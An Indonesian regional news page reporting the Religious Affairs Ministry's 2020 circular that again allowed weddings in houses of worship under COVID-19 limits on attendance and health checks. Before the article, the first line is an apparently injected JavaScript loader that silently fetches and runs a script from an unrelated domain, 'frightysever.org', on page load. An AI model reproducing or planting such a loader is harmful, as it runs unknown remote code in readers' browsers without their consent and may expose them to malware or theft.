(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: RELIGI

KABAR BAIK. Nikah di Rumah Ibadah Diperbolehkan Lagi, Ini Ketentuannya!


KANALKALIMANTAN.COM, JAKARTA – Memasuki tahap new normal atau kenormalan baru, Kementerian Agama (Kemenag) RI mengeluarkan Surat Edaran 15 Tahun 2020 tentang panduan penyelenggaraan kegiatan keagamaan di rumah dalam mewujudkan masyarakat produktif dan aman corona di masa pandemi.

Dalam panduan itu terdapat aturan mengenai penyelenggaraan pernikahan di rumah ibadah. Aturan tersebut tertuang dalam poin E angka 6. Di dalamnya disebutkan bahwa pernikahan di rumah ibadah kembali diperbolehkan namun dengan sejumlah syarat.

Berikut ketentuannya:
a. Memastikan semua peserta yang hadir dalam kondisi sehat dan negatif Covid-19:
b. Membatasi jumlah peserta yang hadir maksimal 20 persen (dua puluh persen) dari kapasitas ruang dan tidak boleh lebih dari 30 orang; dan
c. Pertemuan dilaksanakan dengan waktu seefisien mungkin.

Ketentuan itu dikeluarkan untuk mengatur kegiatan inti dan kegiatan keagamaan sosial di rumah ibadah berdasarkan kondisi riil saat pandemi. Aturan ini berlaku di lingkungan rumah ibadah yang tidak terjadi penularan Covid-19. Namun, rumah ibadah harus mengantongi Surat Keterangan Aman Covid-19 dari Gugus Tugas setempat.
Selain itu, petugas dan penanggungjawab rumah ibadah harus memperhatikan sejumlah hal yang berkaitan pencegahan penularan virus corona. Hal itu tertuang dalam poin E angka 4 Surat Edaran tersebut.

Beberapa di antaranya seperti menyiapkan petugas untuk melakukan dan mengawasi penerapan protokol kesehatan di area rumah ibadah; melakukan pembersihan dan disinfeksi secara berkala di area rumah ibadah; hingga menyediakan hand sanitizer atau tempat cuci tangan.

“Penerapan fungsi sosial rumah ibadah meliputi kegiatan pertemuan masyarakat di rumah ibadah (misalnya: akad pernikahan/perkawinan), tetap mengacu pada ketentuan di atas,” kata Menteri Agama Fachrul Razi dalam konferensi pers secara daring di Graha BNPB, Sabtu (30/5/2020). (Kanalkalimantan.com/kum)

 

Reporter : Kum
Editor : Cell

 


Desy Arfianty

Recent Posts

Pemkab Kapuas Salurkan Bantuan Kemanusiaan Lewat APKASI

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menyalurkan bantuan kemanusiaan bagi masyarakat terdampak bencana banjir… Read More

2 jam ago

New CRETA Alpha Resmi Mengaspal, Hyundai Tawarkan Value Kompetitif

KANALKALIMANTAN.COM, JAKARTA — PT Hyundai Motors Indonesia (HMID) memulai gebrakan di awal tahun dengan meluncurkan… Read More

5 jam ago

Pemkab Banjar Buka Call Center untuk Koordinasi Lintas Sektor Penanganan Banjir

KANALKALIMANTAN.COM, MARTAPURA - Dinas Sosial Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana (Dinsos… Read More

9 jam ago

Gubernur Muhidin Melantik 11 Pejabat, Ini Nama-namanya

KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan H Muhidin melantik 11 pejabat pimpinan tinggi pratama lingkup… Read More

12 jam ago

Hadiri Rapat Paripurna, Wabup Dodo : Sinergi DPRD dengan Pemerintah Daerah

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo menghadiri Rapat Paripurna Ke-10 Masa Persidangan III… Read More

14 jam ago

Tidur Bertahan Hidup di Atas Apar-Apar, Banjir Kabupaten Banjar Meluas

KANALKALIMANTAN.COM, MARTAPURA – Selama sepekan lebih, warga Desa Sungaitabuk Keramat, Kecamatan Sungai Tabuk, Kabupaten Banjar,… Read More

14 jam ago

This website uses cookies.